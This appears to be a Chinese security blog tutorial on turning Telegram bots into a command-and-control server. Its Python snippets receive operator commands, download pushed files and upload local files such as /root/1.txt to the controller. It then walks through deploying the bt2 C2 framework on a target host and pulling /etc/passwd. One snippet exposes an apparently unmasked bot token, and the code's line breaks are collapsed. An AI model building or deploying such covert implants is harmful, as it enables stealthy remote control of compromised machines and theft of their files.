文章前言
使用涉交网络作为C2 Server有两个好处,一方面是因为社交网络的服务器稳定,另一个方面是因为在于其通信的数据可以隐藏在正常的流量中,不容易被发现,本节主要是\\”站在巨人的肩膀\\”上来介绍通过Telegram的Bots功能结合Python来对API的调用来实现C2。
基础内容
Telegram是一款跨平台的实时通讯应用,目前支持Android、iPhone/iPad、WP、Web、PC/Mac/Linux,在整个通信过程中通信数据加密,官方曾悬赏$300,000 for Cracking Telegram Encryption,而且Telegram支持发送所有文件类型,Telegram提供对外开放的api,用户可定制性的开发客户端。
Telegram的Bots是Tegegram内置的第三方应用,通信方式为HTTPS,功能类似于聊天机器人,它可以获取定制化的信息,结合其他的服务使用,同时可以创建自定义的工具。
自我构建
搭建C2 Server
首先,登录Tegegram
之后访问https://telegram.me/botfather,添加BotFather为联系人(BotFather用来创建和管理自定义bot)

之后按照提示创建自定义bot,之后输入/newbot,根据流程依次为设定name、Username、Token信息:

之后成功创建Token:
12724xxxx059:AAEINExxxxxxxxxxxxxxxxxxx_hIl8A
Bot API 示例
安装依赖
目前Telegram官网已经公开了如下语言的开发实例:
https://core.telegram.org/bots/samples

下面我们选择Python作为测试,首先,安装需要的依赖:
pip install telepotpip install requests

环境测试
首先,我们需要测试一下账号是否可以正常使用:
import telepotbot = telepot.Bot(\\\'12xxxxx059:AAEINExxxxxxxxxxu_hIl8A\\\')bot.getMe()

接受消息
成功返回username相关的信息,下面我们再来测试一下是否可以正常接收消息,在Telegram控制端向c2_test发送消息:

之后在终端使用python执行如下代码接收消息:
import telepotfrom pprint import pprintbot = telepot.Bot(\\\'12xxxxxx9:AAEINxxxxxxxxxxWKJolu_hxxx8A\\\')response = bot.getUpdates()pprint(response)

循环接受消息
下面我们再来测试一下循环接收消息,测试代码如下:
import sysimport timeimport pprintimport telepotbot = telepot.Bot(\\\'1272xxxxxxxxxxVCQRSWKJolu_hIl8A\\\')print (\\\'Listening ...\\\')def handle(msg):pprint.pprint(msg)def main():try:bot.message_loop(handle)except Exception as err:print errwhile True:time.sleep(10)if __name__ == \\\'__main__\\\':main()
运行如图,成功接收Server端发送的多条文字消息

之后发送消息如下:

之后

提取文字消息
使用glance()可以从接收的消息中提取一个元组(content_type,chat_type,chat_id),当下:
-
content_type包括text, audio, document, photo, sticker, video, voice,contact, location, venue, new_chat_member, left_chat_member, etc.
-
chat_type 包括private, group, or channel.
我们可以使用glance()把接收的文字消息提取出来,代码如下:
import sysimport timeimport pprintimport telepotbot = telepot.Bot(\\\'1272xxxxxxxxxxxxxxxxxxJolu_hIl8A\\\')print (\\\'Listening ...\\\')def handle(msg):content_type, chat_type, chat_id = telepot.glance(msg)if content_type == \\\'text\\\':received_command = msg[\\\'text\\\']print (received_command)else:print (content_type, chat_type, chat_id)returndef main():try:bot.message_loop(handle)except Exception as err:print errwhile True:time.sleep(10)if __name__ == \\\'__main__\\\':main()
之后在Telegram中进行交互信息如下所示:

命令执行效果如下所示,可以看到成功提取出Server端发来的文本消息:

实现接收文件
用于接收Server端发送的文件,并保存在当前目录:
import sysimport timeimport pprintimport telepotbot = telepot.Bot(\\\'1272xxxxxxxxxxxxxxxxxxxxolu_hIl8A\\\')print (\\\'Listening ...\\\')def handle(msg):content_type, chat_type, chat_id = telepot.glance(msg)if content_type == \\\'text\\\':received_command = msg[\\\'text\\\']print (received_command)elif content_type == \\\'document\\\':file_id = msg[\\\'document\\\'][\\\'file_id\\\']filename = msg[\\\'document\\\'][\\\'file_name\\\']bot.download_file(file_id, filename)print \\\"[+] Download File Success!\\\"else:print (content_type, chat_type, chat_id)returndef main():try:bot.message_loop(handle)except Exception as err:print errwhile True:time.sleep(10)if __name__ == \\\'__main__\\\':main()
发送文件:

成功接收文件:

实现发送消息
向Server端发送一条消息,代码如下:
import telepotfrom pprint import pprintbot = telepot.Bot(\\\'1272xxxxxxxxxxxxxxxu_hIl8A\\\')bot.sendMessage(\\\'13xxxxx87\\\', \\\'Hello C2 Server\\\')
执行代码:

之后在服务端成功接收到代码:

实现发送文件
具体代码如下所示:
import telepotfrom pprint import pprintbot = telepot.Bot(\\\'1272413059:AAEINERxVSib-QTLhMVCQRSWKJolu_hIl8A\\\')f = open(\\\'/root/1.txt\\\', \\\'rb\\\')bot.sendDocument(\\\'130xxxxx87\\\', f)
在终端执行命令:

成功实现发送文件:

以上介绍了Bot API中发送、接收文本消息和上传、下载文件的功能,剩下只需要将功能拼接,添加命令解析,就可以实现一个简易的C2 Server POC
bt2框架
项目介绍
Bt2是一个使用python编写开发的C2框架,它使用了telegram提供的基础设施和功能丰富的bot api,稍微改变了其通信平台的用途,使其可以充当c&c。
环境配置
pip install telepotpip install requestsgit clone https://github.com/blazeinfosec/bt2.git

之后编辑bt2.py文件,修改以下参数:
-
API_TOKEN:token
-
BOTMASTER_ID:自己帐号的chat_id

工具使用
在目标主机上执行bt2.py,之后可以看到client上线:

之后可以看到向我们发送了操作帮助:

命令执行

下载文件
/download /etc/passwd
参考链接
https://github.com/blazeinfosec/bt2
https://core.telegram.org/bots/samples
http://drops.xmd5.com/static/drops/tips-16142.html
https://blog.blazeinfosec.com/bt2-leveraging-telegram-as-a-command-control-platform/
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34231.html